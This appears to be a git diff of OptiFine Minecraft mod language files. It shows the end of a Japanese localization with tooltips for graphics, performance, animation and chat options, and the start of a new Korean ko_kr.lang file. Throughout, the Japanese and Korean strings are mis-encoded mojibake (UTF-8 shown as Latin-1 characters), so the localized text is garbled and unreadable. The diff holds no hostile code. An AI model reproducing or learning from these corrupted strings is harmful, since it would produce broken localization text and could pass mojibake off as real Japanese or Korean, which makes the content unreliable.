+of.options.SHOW_CAPES.tooltip.2= オン - マントを表示ã™ã‚‹ (åˆæœŸå€¤) +of.options.SHOW_CAPES.tooltip.3= オフ - マントを表示ã—ãªã„ + +of.options.TRANSLUCENT_BLOCKS=åŠé€æ˜Žã®ãƒ–ロック +of.options.TRANSLUCENT_BLOCKS.tooltip.1=åŠé€æ˜Žã®ãƒ–ロック +of.options.TRANSLUCENT_BLOCKS.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ +of.options.TRANSLUCENT_BLOCKS.tooltip.3= æ画優先 - 完全ãªã‚«ãƒ©ãƒ¼ãƒ–レンド (åˆæœŸå€¤) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= 処ç†å„ªå…ˆ - 速ã•é‡è¦–ã®ã‚«ãƒ©ãƒ¼ãƒ–レンド (低負è·) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=é•ã†è‰²ã‚’æŒã£ãŸåŠé€æ˜Žãƒ–ロック (色付ãガラスã€æ°´ã€æ°·) +of.options.TRANSLUCENT_BLOCKS.tooltip.6=ãŒç©ºæ°—を挟んã§éš£æŽ¥ã—ãŸéš›ã® +of.options.TRANSLUCENT_BLOCKS.tooltip.7=カラーブレンドã®è¨­å®šã§ã™ã€‚ + +of.options.HELD_ITEM_TOOLTIPS=æŒã¡æ›¿ãˆæ™‚アイテムå表示 +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=æŒã¡æ›¿ãˆæ™‚アイテムå表示 +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= オン - æŒã¡æ›¿ãˆæ™‚ã«ã‚¢ã‚¤ãƒ†ãƒ åを表示ã™ã‚‹ (åˆæœŸå€¤) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= オフ - æŒã¡æ›¿ãˆæ™‚ã«ã‚¢ã‚¤ãƒ†ãƒ åを表示ã—ãªã„ + +of.options.ADVANCED_TOOLTIPS=高度ãªãƒ„ールãƒãƒƒãƒ— +of.options.ADVANCED_TOOLTIPS.tooltip.1=高度ãªãƒ„ールãƒãƒƒãƒ— +of.options.ADVANCED_TOOLTIPS.tooltip.2= オン - 高度ãªãƒ„ールãƒãƒƒãƒ—を表示 +of.options.ADVANCED_TOOLTIPS.tooltip.3= オフ - 高度ãªãƒ„ールãƒãƒƒãƒ—ã‚’éžè¡¨ç¤º (åˆæœŸå€¤) +of.options.ADVANCED_TOOLTIPS.tooltip.4=高度ãªãƒ„ールãƒãƒƒãƒ—ã¯ã‚¢ã‚¤ãƒ†ãƒ  (IDã€è€ä¹…値) 㨠+of.options.ADVANCED_TOOLTIPS.tooltip.5=シェーダーã®ã‚ªãƒ—ション (IDã€ç”±æ¥ã€åˆæœŸå€¤) ã«ãŠã„㦠+of.options.ADVANCED_TOOLTIPS.tooltip.6=æ‹¡å¼µã•ã‚ŒãŸæƒ…報を表示ã—ã¾ã™ã€‚ + +of.options.DROPPED_ITEMS=è½ã¡ã¦ã„るアイテムã®è¡¨ç¤º +of.options.DROPPED_ITEMS.tooltip.1=è½ã¡ã¦ã„るアイテムã®è¡¨ç¤º +of.options.DROPPED_ITEMS.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ +of.options.DROPPED_ITEMS.tooltip.3= 処ç†å„ªå…ˆ - è½ã¡ã¦ã„るアイテムを2Dã§è¡¨ç¤ºã™ã‚‹ (低負è·) +of.options.DROPPED_ITEMS.tooltip.4= æ画優先 - è½ã¡ã¦ã„るアイテムを3Dã§è¡¨ç¤ºã™ã‚‹ (高負è·) + +options.entityShadows.tooltip.1=エンティティã®å½± +options.entityShadows.tooltip.2= オン - エンティティã®å½±ã‚’表示ã™ã‚‹ +options.entityShadows.tooltip.3= オフ - エンティティã®å½±ã‚’表示ã—ãªã„ + +of.options.VIGNETTE=視界端ã®å½± +of.options.VIGNETTE.tooltip.1=スクリーンã®è§’ã‚’å°‘ã—æš—ãã•ã›ã‚‹è¦–覚効果 +of.options.VIGNETTE.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ (åˆæœŸå€¤) +of.options.VIGNETTE.tooltip.3= 処ç†å„ªå…ˆ - 視界端ã®å½±ã‚’表示ã—ãªã„ (低負è·) +of.options.VIGNETTE.tooltip.4= æ画優先 - 視界端ã®å½±ã‚’表示ã™ã‚‹ (高負è·) +of.options.VIGNETTE.tooltip.5=視界端ã®å½±ã¯FPSã«ã¨ã£ã¦é‡è¦ãªè¦–覚効果ã§ã™ã€‚ +of.options.VIGNETTE.tooltip.6=例外ã¨ã—ã¦ãƒ•ãƒ«ã‚¹ã‚¯ãƒªãƒ¼ãƒ³ã§éŠã¶éš›ã«ã¯ã€ +of.options.VIGNETTE.tooltip.7=視界端ã®å½±ã¯éžå¸¸ã«å¾®ã‹ã§ã‚ã‚‹ãŸã‚〠+of.options.VIGNETTE.tooltip.8=無効ã«ã—ã¦ã‚‚無害ã§ã™ã€‚ + +of.options.DYNAMIC_FOV=臨場感ã‚る視野角 +of.options.DYNAMIC_FOV.tooltip.1=臨場感ã‚る視野角 +of.options.DYNAMIC_FOV.tooltip.2= オン - 臨場感ã‚る視野角を有効化 (åˆæœŸå€¤) +of.options.DYNAMIC_FOV.tooltip.3= オフ - 臨場感ã‚る視野角を無効化 +of.options.DYNAMIC_FOV.tooltip.4=飛翔時やã€ãƒ€ãƒƒã‚·ãƒ¥æ™‚ã€å¼“ã®å¼•ã絞り時ã«ã€ +of.options.DYNAMIC_FOV.tooltip.5=視野角 (FOV) を変ãˆã¾ã™ã€‚ + +of.options.DYNAMIC_LIGHTS=臨場感ã‚ã‚‹å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.1=臨場感ã‚ã‚‹å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.2= オフ - æŒã£ã¦ã„ã‚‹å…‰æºã‚’光らã›ãªã„ (åˆæœŸå€¤) +of.options.DYNAMIC_LIGHTS.tooltip.3= 処ç†å„ªå…ˆ - 500ミリ秒ã”ã¨ã«ä½ç½®ã‚’æ›´æ–°ã™ã‚‹ +of.options.DYNAMIC_LIGHTS.tooltip.4= æ画優先 - リアルタイムã«ä½ç½®ã‚’æ›´æ–°ã™ã‚‹ +of.options.DYNAMIC_LIGHTS.tooltip.5=å…‰æºã¨ãªã‚‹ã‚¢ã‚¤ãƒ†ãƒ  (æ¾æ˜Žã€ã‚°ãƒ­ãƒ¼ã‚¹ãƒˆãƒ¼ãƒ³ãªã©) ã«ã¤ã„ã¦ã€ +of.options.DYNAMIC_LIGHTS.tooltip.6=手ã«æŒã£ã¦ã„ã‚‹ã‹ã€ä»–ã®ãƒ—レイヤーãŒè£…å‚™ã—ã¦ã„ã‚‹ã‹ã€ +of.options.DYNAMIC_LIGHTS.tooltip.7=地上ã«æŠ•ã’出ã•ã‚Œã¦ã„る時ã«ã€å‘¨å›²ã‚’照らã—ã¾ã™ã€‚ + +# Performance + +of.options.SMOOTH_FPS=FPSå®‰å®šåŒ–å‡¦ç† +of.options.SMOOTH_FPS.tooltip.1=ãƒãƒƒãƒ•ã‚¡ã‚’使ã£ã¦FPSを安定化ã™ã‚‹ã€‚ +of.options.SMOOTH_FPS.tooltip.2= オフ - 安定化ã—ãªã„。FPSã¯å¤‰å‹•çš„ã«ãªã‚‹ã§ã—ょã†ã€‚ +of.options.SMOOTH_FPS.tooltip.3= オン - 安定化ã™ã‚‹ã€‚ +of.options.SMOOTH_FPS.tooltip.4=ã“ã®è¨­å®šã¯ã‚°ãƒ©ãƒ•ã‚£ãƒƒã‚¯ãƒ‰ãƒ©ã‚¤ãƒãƒ¼ã«ä¾å­˜ã—〠+of.options.SMOOTH_FPS.tooltip.5=常ã«ã¯æœ‰åŠ¹ã§ã¯ã‚ã‚Šã¾ã›ã‚“。 + +of.options.SMOOTH_WORLD=サーãƒãƒ¼è² è·ã‚’分散 +of.options.SMOOTH_WORLD.tooltip.1=内部サーãƒãƒ¼ã«ã‚ˆã‚‹ãƒ©ã‚°ã®é™¤åŽ»ã€‚ +of.options.SMOOTH_WORLD.tooltip.2= オフ - 安定化ã—ãªã„。FPSã¯å¤‰å‹•çš„ã«ãªã‚‹ã§ã—ょã†ã€‚ +of.options.SMOOTH_WORLD.tooltip.3= オン - 安定化ã™ã‚‹ã€‚ +of.options.SMOOTH_WORLD.tooltip.4=内部サーãƒãƒ¼ãƒ­ãƒ¼ãƒ‰ã‚’安定化。 +of.options.SMOOTH_WORLD.tooltip.5=シングルプレイã®æ™‚ã®ã¿åŠ¹æžœãŒã‚ã‚Šã¾ã™ã€‚ + +of.options.FAST_RENDER=æç”»ã®æœ€é©åŒ– +of.options.FAST_RENDER.tooltip.1=æç”»ã®æœ€é©åŒ– +of.options.FAST_RENDER.tooltip.2= オフ - 通常ã®æç”» (åˆæœŸå€¤) +of.options.FAST_RENDER.tooltip.3= オン - 最é©åŒ–ã•ã‚ŒãŸæç”» (低負è·) +of.options.FAST_RENDER.tooltip.4=GPUã®ãƒ­ãƒ¼ãƒ‰å›žæ•°ã‚’減らã—ãŸæ–¹å¼ã«ã‚ˆã£ã¦ +of.options.FAST_RENDER.tooltip.5=大幅ã«FPSã‚’å‘上ã—ã¾ã™ã€‚ +of.options.FAST_RENDER.tooltip.6=ã“ã®æ©Ÿèƒ½ã¯Modã¨ç«¶åˆã™ã‚‹å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚ + +of.options.FAST_MATH=計算ã®æœ€é©åŒ– +of.options.FAST_MATH.tooltip.1=計算ã®æœ€é©åŒ– +of.options.FAST_MATH.tooltip.2= オフ - 通常ã®è¨ˆç®— (åˆæœŸå€¤) +of.options.FAST_MATH.tooltip.3= オン - 最é©åŒ–ã•ã‚ŒãŸè¨ˆç®— +of.options.FAST_MATH.tooltip.4=最é©åŒ–ã—ãŸä¸‰è§’関数を用ã„㦠+of.options.FAST_MATH.tooltip.5=CPUã®ã‚­ãƒ£ãƒƒã‚·ãƒ¥ã‚’活用ã—FPSã‚’å‘上ã—ã¾ã™ã€‚ +of.options.FAST_MATH.tooltip.6=ã“ã®æ©Ÿèƒ½ã¯åœ°å½¢ç”Ÿæˆã«åƒ…ã‹ãªå½±éŸ¿ã‚’åŠã¼ã™å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚ + +of.options.CHUNK_UPDATES=ãƒãƒ£ãƒ³ã‚¯èª­è¾¼æ–¹æ³• +of.options.CHUNK_UPDATES.tooltip.1=ãƒãƒ£ãƒ³ã‚¯èª­è¾¼æ–¹æ³• +of.options.CHUNK_UPDATES.tooltip.2= 1 - 高負è·ãªãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ 高ã„FPS (åˆæœŸå€¤) +of.options.CHUNK_UPDATES.tooltip.3= 3 - 低負è·ã‚ãªãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ 低ã‚ã®FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - 低負è·ãªãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ 低ã„FPS +of.options.CHUNK_UPDATES.tooltip.5=1フレームã”ã¨ã«è¡Œã‚れるãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿å›žæ•°ã‚’指定ã—ã¾ã™ã€‚ +of.options.CHUNK_UPDATES.tooltip.6=高ã„値ã¯ãƒ•ãƒ¬ãƒ¼ãƒ ãƒ¬ãƒ¼ãƒˆã®ä¸å®‰å®šåŒ–ã‚’æ‹›ãã¾ã™ã€‚ + +of.options.CHUNK_UPDATES_DYNAMIC=å‹•çš„ãªèª­ã¿è¾¼ã¿ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=å‹•çš„ãªèª­ã¿è¾¼ã¿ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= オフ - 1フレームã«é€šå¸¸ã®å›žæ•°ã®ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿å‡¦ç† (åˆæœŸå€¤) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= オン - é™æ­¢ä¸­ã«ã‚ˆã‚Šå¤šãã®èª­ã¿è¾¼ã‚€å‡¦ç†ã‚’行ㆠ+of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=プレイヤーãŒé™æ­¢ã—ã¦ã„る時㫠+of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=ç´ æ—©ããƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã‚€ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚ + +of.options.LAZY_CHUNK_LOADING=ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ã®é…延 +of.options.LAZY_CHUNK_LOADING.tooltip.1=ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ã®é…延 +of.options.LAZY_CHUNK_LOADING.tooltip.2= オフ - 通常ã®ã‚µãƒ¼ãƒãƒ¼ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ +of.options.LAZY_CHUNK_LOADING.tooltip.3= オン - é…延サーãƒãƒ¼ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ (滑らã‹) +of.options.LAZY_CHUNK_LOADING.tooltip.4=ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿å‡¦ç†ã‚’æ•°Tickã«åˆ†æ•£ã•ã›ã‚‹ã“ã¨ã§ +of.options.LAZY_CHUNK_LOADING.tooltip.5=çµ±åˆã‚µãƒ¼ãƒãƒ¼ã®ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿å‡¦ç†ã‚’滑らã‹ã«ã—ã¾ã™ã€‚ +of.options.LAZY_CHUNK_LOADING.tooltip.6=ワールドã®ä¸€éƒ¨ã«æ¬ ã‘ãŒç™ºç”Ÿã™ã‚‹ã‚ˆã†ãªã‚‰OFFã«ã—ã¦ãã ã•ã„。 +of.options.LAZY_CHUNK_LOADING.tooltip.7=ローカルワールド (シングルプレイヤー) ã®æ™‚ã®ã¿æœ‰åŠ¹ã§ã™ã€‚ + +of.options.RENDER_REGIONS=領域æç”» +of.options.RENDER_REGIONS.tooltip.1=領域æç”» +of.options.RENDER_REGIONS.tooltip.2= オフ - 領域æ画を用ã„ãªã„ (åˆæœŸå€¤) +of.options.RENDER_REGIONS.tooltip.3= オン - 領域æ画を用ã„ã‚‹ +of.options.RENDER_REGIONS.tooltip.4=領域æç”»ã¯æç”»è·é›¢ãŒåºƒã„å ´åˆã«ç´ æ—©ã„地形æ画をå¯èƒ½ã«ã—ã¾ã™ã€‚ +of.options.RENDER_REGIONS.tooltip.5=頂点ãƒãƒƒãƒ•ã‚¡ã‚ªãƒ–ジェクトãŒæœ‰åŠ¹ãªå ´åˆã«ã€ã‚ˆã‚ŠåŠ¹æžœçš„ã§ã™ã€‚ +of.options.RENDER_REGIONS.tooltip.6=オンボードグラフィックカードã§ã¯æŽ¨å¥¨ã•ã‚Œã¾ã›ã‚“。 + +of.options.SMART_ANIMATIONS=スマートアニメーション +of.options.SMART_ANIMATIONS.tooltip.1=スマートアニメーション +of.options.SMART_ANIMATIONS.tooltip.2= オフ - スマートアニメーションを用ã„ãªã„ (åˆæœŸå€¤) +of.options.SMART_ANIMATIONS.tooltip.3= オン - スマートアニメーションを用ã„ã‚‹ +of.options.SMART_ANIMATIONS.tooltip.4=スマートアニメーションを使ãˆã°ãƒ†ã‚¯ã‚¹ãƒãƒ£ã®ã‚¢ãƒ‹ãƒ¡ãƒ¼ã‚·ãƒ§ãƒ³å‡¦ç†ã¯ +of.options.SMART_ANIMATIONS.tooltip.5=見ãˆã‚‹ç¯„囲ã§ã®ã¿è¡Œã‚れるよã†ã«ãªã‚Šã¾ã™ã€‚ +of.options.SMART_ANIMATIONS.tooltip.6=ラグを減らã—ã€FPSを増やã™ã“ã¨ãŒã§ãã¾ã™ã€‚ +of.options.SMART_ANIMATIONS.tooltip.7=特ã«ã€å¤§ããªModパックや高解åƒåº¦ã®ãƒªã‚½ãƒ¼ã‚¹ãƒ‘ックã«å¯¾ã—ã¦æœ‰ç”¨ã§ã—ょã†ã€‚ + +# Animations + +of.options.animation.allOn=å…¨ã¦ã‚ªãƒ³ +of.options.animation.allOff=å…¨ã¦ã‚ªãƒ• +of.options.animation.dynamic=å‹•çš„ + +of.options.ANIMATED_WATER=æ°´ +of.options.ANIMATED_LAVA=溶岩 +of.options.ANIMATED_FIRE=ç‚Ž +of.options.ANIMATED_PORTAL=ãƒã‚¶ãƒ¼ã‚²ãƒ¼ãƒˆ +of.options.ANIMATED_REDSTONE=レッドストーン +of.options.ANIMATED_EXPLOSION=爆発 +of.options.ANIMATED_FLAME=æ¾æ˜Žã‚„ã‹ã¾ã© +of.options.ANIMATED_SMOKE=ç…™ +of.options.VOID_PARTICLES=奈è½ã®ãƒ‘ーティクル +of.options.WATER_PARTICLES=水中ã®ãƒ‘ーティクル +of.options.RAIN_SPLASH=雨ã®æ°´ã—ã¶ã +of.options.PORTAL_PARTICLES=ãƒãƒ¼ã‚¿ãƒ«ã®ãƒ‘ーティクル +of.options.POTION_PARTICLES=ãƒãƒ¼ã‚·ãƒ§ãƒ³ã®ãƒ‘ーティクル +of.options.DRIPPING_WATER_LAVA=æ°´/溶岩ã®æ»´ã‚Š +of.options.ANIMATED_TERRAIN=地形アニメーション +of.options.ANIMATED_TEXTURES=テクスãƒãƒ£ã‚¢ãƒ‹ãƒ¡ãƒ¼ã‚·ãƒ§ãƒ³ +of.options.FIREWORK_PARTICLES=花ç«ã®ãƒ‘ーティクル + +# Other + +of.options.LAGOMETER=ラグメーター +of.options.LAGOMETER.tooltip.1=デãƒãƒƒã‚°ç”»é¢ (F3) ã«ãƒ©ã‚°ãƒ¡ãƒ¼ã‚¿ãƒ¼ã‚’表示ã™ã‚‹ã€‚ +of.options.LAGOMETER.tooltip.2=* æ©™ - ガベージコレクション +of.options.LAGOMETER.tooltip.3=* è— - Tickå‡¦ç† +of.options.LAGOMETER.tooltip.4=* é’ - スケジューリングã•ã‚ŒãŸå‡¦ç† +of.options.LAGOMETER.tooltip.5=* ç´« - ãƒãƒ£ãƒ³ã‚¯ã‚¢ãƒƒãƒ—ローディング +of.options.LAGOMETER.tooltip.6=* 赤 - ãƒãƒ£ãƒ³ã‚¯ã‚¢ãƒƒãƒ—デート +of.options.LAGOMETER.tooltip.7=* 黄 - æç”»ç¢ºèª +of.options.LAGOMETER.tooltip.8=* ç·‘ - 地形æç”» + +of.options.PROFILER=デãƒãƒƒã‚°ãƒ—ロファイラ +of.options.PROFILER.tooltip.1=デãƒãƒƒã‚°ãƒ—ロファイラ +of.options.PROFILER.tooltip.2= オン - デãƒãƒƒã‚°ãƒ—ロファイラã¯æœ‰åŠ¹ é«˜è² è· +of.options.PROFILER.tooltip.3= オフ - デãƒãƒƒã‚°ãƒ—ロファイラã¯ç„¡åŠ¹ ä½Žè² è· +of.options.PROFILER.tooltip.4=デãƒãƒƒã‚°ç”»é¢ (F3) ãŒé–‹ã‹ã‚Œã¦ã„る時㫠+of.options.PROFILER.tooltip.5=デãƒãƒƒã‚°æƒ…報をåŽé›†ã—円グラフ上ã«è¡¨ç¤ºã—ã¾ã™ã€‚ + +of.options.WEATHER=天候 +of.options.WEATHER.tooltip.1=天候 +of.options.WEATHER.tooltip.2= オン - 天候ã‚ã‚Š é«˜è² è· +of.options.WEATHER.tooltip.3= オフ - 天候ãªã— ä½Žè² è· +of.options.WEATHER.tooltip.4=天候コントロール機能ã®æœ‰åŠ¹/無効。 +of.options.WEATHER.tooltip.5=シングルプレイã§ã®ã¿æœ‰åŠ¹ã€‚ + +of.options.time.dayOnly=昼ã®ã¿ +of.options.time.nightOnly=夜ã®ã¿ + +of.options.TIME=クリエイティブã®æ™‚刻 +of.options.TIME.tooltip.1=クリエイティブã®æ™‚刻 +of.options.TIME.tooltip.2= デフォルト - 通常ã®æ˜¼å¤œã‚µã‚¤ã‚¯ãƒ« +of.options.TIME.tooltip.3= 昼ã®ã¿ - 昼ã®ã¿ +of.options.TIME.tooltip.4= 夜ã®ã¿ - 夜ã®ã¿ +of.options.TIME.tooltip.5=クリエイティブモード㧠+of.options.TIME.tooltip.6=シングルプレイã®æ™‚ã®ã¿æœ‰åŠ¹ã€‚ + +options.fullscreen.tooltip.1=フルスクリーン +options.fullscreen.tooltip.2= オン - フルスクリーンモード +options.fullscreen.tooltip.3= オフ - ウィンドウモード +options.fullscreen.tooltip.4=フルスクリーンã§ã®å‡¦ç†ã®é€Ÿã•ã¯ +options.fullscreen.tooltip.5=グラフィックボードã«å·¦å³ã•ã‚Œã¾ã™ã€‚ + +of.options.FULLSCREEN_MODE=フルスクリーンã®ç¨®é¡ž +of.options.FULLSCREEN_MODE.tooltip.1=フルスクリーンã®ç¨®é¡ž +of.options.FULLSCREEN_MODE.tooltip.2= デフォルト - デスクトップスクリーンã®è§£åƒåº¦ é«˜è² è· +of.options.FULLSCREEN_MODE.tooltip.3= å¹…x高 - カスタム解åƒåº¦ ãŠãらãä½Žè² è· +of.options.FULLSCREEN_MODE.tooltip.4=フルスクリーンモードã«ã¦ä½¿ç”¨ã•ã‚Œã‚‹è§£åƒåº¦ã§ã™ã€‚ +of.options.FULLSCREEN_MODE.tooltip.5=低ã„解åƒåº¦ã§ã¯ä¸€èˆ¬çš„ã«ã€ã‚ˆã‚Šé€Ÿããªã‚‹ã§ã—ょã†ã€‚ + +of.options.SHOW_FPS=FPSを表示 +of.options.SHOW_FPS.tooltip.1=コンパクトãªFPSã¨æ画情報を表示 +of.options.SHOW_FPS.tooltip.2= FPS - å¹³å‡/æœ€å° +of.options.SHOW_FPS.tooltip.3= C: - ãƒãƒ£ãƒ³ã‚¯æç”» +of.options.SHOW_FPS.tooltip.4= E: - エンティティæç”» +of.options.SHOW_FPS.tooltip.5= U: - ãƒãƒ£ãƒ³ã‚¯ã‚¢ãƒƒãƒ—デート +of.options.SHOW_FPS.tooltip.6=コンパクトãªFPS情報㯠+of.options.SHOW_FPS.tooltip.7=デãƒãƒƒã‚°ç”»é¢ãŒéžè¡¨ç¤ºã®æ™‚ã®ã¿è¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ + +of.options.save.45s=45秒 +of.options.save.90s=90秒 +of.options.save.3min=3分 +of.options.save.6min=6分 +of.options.save.12min=12分 +of.options.save.24min=24分 + +of.options.AUTOSAVE_TICKS=オートセーブ +of.options.AUTOSAVE_TICKS.tooltip.1=セーブ間隔 +of.options.AUTOSAVE_TICKS.tooltip.2= 45秒 - デフォルト +of.options.AUTOSAVE_TICKS.tooltip.3=æç”»è·é›¢ã«ã‚ˆã£ã¦ã¯ã‚ªãƒ¼ãƒˆã‚»ãƒ¼ãƒ–ã¯ãƒ©ã‚°ã‚’引ãèµ·ã“ã—ã¾ã™ã€‚ +of.options.AUTOSAVE_TICKS.tooltip.4=ゲームメニューを開ã„ãŸéš›ã«ã‚‚ワールドã¯ã‚»ãƒ¼ãƒ–ã•ã‚Œã¾ã™ã€‚ + +of.options.SCREENSHOT_SIZE=スクリーンショットã®ã‚µã‚¤ã‚º +of.options.SCREENSHOT_SIZE.tooltip.1=スクリーンショットã®ã‚µã‚¤ã‚º +of.options.SCREENSHOT_SIZE.tooltip.2= デフォルト - 通常ã®å¤§ãã• +of.options.SCREENSHOT_SIZE.tooltip.3= 2x〜4x - ä»»æ„ã®å¤§ãã• +of.options.SCREENSHOT_SIZE.tooltip.4=より大ããªã‚¹ã‚¯ãƒªãƒ¼ãƒ³ã‚·ãƒ§ãƒƒãƒˆã®æ’®å½±ã«ã¯ã€ã‚ˆã‚Šå¤šãã®ãƒ¡ãƒ¢ãƒªãŒå¿…è¦ã§ã™ã€‚ +of.options.SCREENSHOT_SIZE.tooltip.5=æç”»ã®æœ€é©åŒ–ã€ã‚¢ãƒ³ãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã¨ã¯å…±å­˜ã§ãã¾ã›ã‚“。 +of.options.SCREENSHOT_SIZE.tooltip.6=GPUãŒãƒ•ãƒ¬ãƒ¼ãƒ ãƒãƒƒãƒ•ã‚¡ã‚’サãƒãƒ¼ãƒˆã—ã¦ã„ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ + +of.options.SHOW_GL_ERRORS=OpenGLエラーã®è¡¨ç¤º +of.options.SHOW_GL_ERRORS.tooltip.1=OpenGLエラーã®è¡¨ç¤º +of.options.SHOW_GL_ERRORS.tooltip.2=有効ãªå ´åˆã€ãƒãƒ£ãƒƒãƒˆã«OpenGLã®ã‚¨ãƒ©ãƒ¼ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ +of.options.SHOW_GL_ERRORS.tooltip.3=既知ã®ç«¶åˆã‚„修正ä¸å¯èƒ½ãªã‚¨ãƒ©ãƒ¼ã§ã‚ã‚‹å ´åˆã«é™ã‚Š +of.options.SHOW_GL_ERRORS.tooltip.4=無効ã«ã—ã¦ãã ã•ã„。 +of.options.SHOW_GL_ERRORS.tooltip.5=無効ã«ã—ã¦ã‚‚エラーã¯ã‚¨ãƒ©ãƒ¼ãƒ­ã‚°ã«è¨˜è¼‰ã•ã‚Œã‚‹ã¾ã¾ã§ã‚ã‚Š +of.options.SHOW_GL_ERRORS.tooltip.6=大幅ãªFPSã®ä¸‹é™ã®åŽŸå› ã¨ãªã‚Šç¶šã‘ã¾ã™ã€‚ + +# Chat Settings + +of.options.CHAT_BACKGROUND=ãƒãƒ£ãƒƒãƒˆæ¬„ +of.options.CHAT_BACKGROUND.tooltip.1=ãƒãƒ£ãƒƒãƒˆæ¬„ +of.options.CHAT_BACKGROUND.tooltip.2= デフォルト - 固定幅 +of.options.CHAT_BACKGROUND.tooltip.3= コンパクト - è¡Œã®å¹…ã«åˆã‚ã›ã‚‹ +of.options.CHAT_BACKGROUND.tooltip.4= オフ - ãªã— + +of.options.CHAT_SHADOW=ãƒãƒ£ãƒƒãƒˆã®å½± +of.options.CHAT_SHADOW.tooltip.1=ãƒãƒ£ãƒƒãƒˆã®å½± +of.options.CHAT_SHADOW.tooltip.2= オン - テキストã«å½±ã‚’ã¤ã‘ã‚‹ +of.options.CHAT_SHADOW.tooltip.3= オフ - テキストã«å½±ã‚’ã¤ã‘ãªã„ diff --git a/src/assets/minecraft/optifine/lang/ko_kr.lang b/src/assets/minecraft/optifine/lang/ko_kr.lang new file mode 100644 index 00000000..008f8156 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/ko_kr.lang @@ -0,0 +1,592 @@ +# Contributors of Korean localization # +# auth ---- 2017-06-09 ---- 2017-06-24 +# Final Child ---- 2017-06-09 ---- 2017-06-24 +# SRA PLY ---- 2017-06-09 ---- 2017-06-24 + +# General +of.general.ambiguous=불분명 +of.general.custom=맞춤 +of.general.from=출처 +of.general.id=ì•„ì´ë”” +of.general.restart=재시작 +of.general.smart=멋지게 + +# Keys +of.key.zoom=확대 + +# Message +of.message.aa.shaders1=안티ì—ì¼ë¦¬ì–´ì‹±ì€ ì…°ì´ë”와 호환ë˜ì§€ 않습니다. +of.message.aa.shaders2=ì´ ì„¤ì •ì„ ì¼œë ¤ë©´ 먼저 ì…°ì´ë”를 꺼주십시오. + +of.message.af.shaders1=비등방성 í•„í„°ë§ì€ ì…°ì´ë”와 호환ë˜ì§€ 않습니다. +of.message.af.shaders2=ì´ ì„¤ì •ì„ ì¼œë ¤ë©´ 먼저 ì…°ì´ë”를 꺼주십시오. + +of.message.fr.shaders1=빠른 ë Œë”는 ì…°ì´ë”와 호환ë˜ì§€ 않습니다. +of.message.fr.shaders2=ì´ ì„¤ì •ì„ ì¼œë ¤ë©´ 먼저 ì…°ì´ë”를 꺼주십시오. + +of.message.an.shaders1=3D 애너글리프는 ì…°ì´ë”와 호환ë˜ì§€ 않습니다. +of.message.an.shaders2=ì´ ì„¤ì •ì„ ì¼œë ¤ë©´ 먼저 ì…°ì´ë”를 꺼주십시오. + +of.message.shaders.aa1=ì…°ì´ë”는 안티ì—ì¼ë¦¬ì–´ì‹±ê³¼ 호환ë˜ì§€ 않습니다. +of.message.shaders.aa2=품질 > 안티ì—ì¼ë¦¬ì–´ì‹±ì„ 꺼ì§ìœ¼ë¡œ 설정한 후 ê²Œìž„ì„ ë‹¤ì‹œ 시작해 주십시오. + +of.message.shaders.af1=ì…°ì´ë”는 비등방성 í•„í„°ë§ê³¼ 호환ë˜ì§€ 않습니다. +of.message.shaders.af2=품질 > 비등방성 í•„í„°ë§ì„ 꺼ì§ìœ¼ë¡œ 설정해 주십시오. + +of.message.shaders.fr1=ì…°ì´ë”는 빠른 ë Œë”와 호환ë˜ì§€ 않습니다. +of.message.shaders.fr2=성능 > 빠른 ë Œë”를 꺼ì§ìœ¼ë¡œ 설정해 주십시오. + +of.message.shaders.an1=ì…°ì´ë”는 3D 애너글리프와 호환ë˜ì§€ 않습니다. +of.message.shaders.an2=기타 > 3D 애너글리프를 꺼ì§ìœ¼ë¡œ 설정해 주십시오. + +of.message.newVersion=새로운 §eOptiFine§f ë²„ì „ì„ ì‚¬ìš©í•  수 있습니다: §e%s§f +of.message.java64Bit=§e64비트 Java§f를 설치해 ì„±ëŠ¥ì„ í–¥ìƒí•  수 있습니다. +of.message.openglError=§eOpenGL 오류§f: %s (%s) + +of.message.shaders.loading=ì…°ì´ë” 불러오는 중: %s + +of.message.other.reset=모든 비디오 ì„¤ì •ì„ ê¸°ë³¸ê°’ìœ¼ë¡œ 재설정하시겠습니까? + +of.message.loadingVisibleChunks=ë³´ì´ëŠ” ì²­í¬ ë¶ˆëŸ¬ì˜¤ëŠ” 중 + +# Video settings + +options.graphics.tooltip.1=ì‹œê° í’ˆì§ˆ 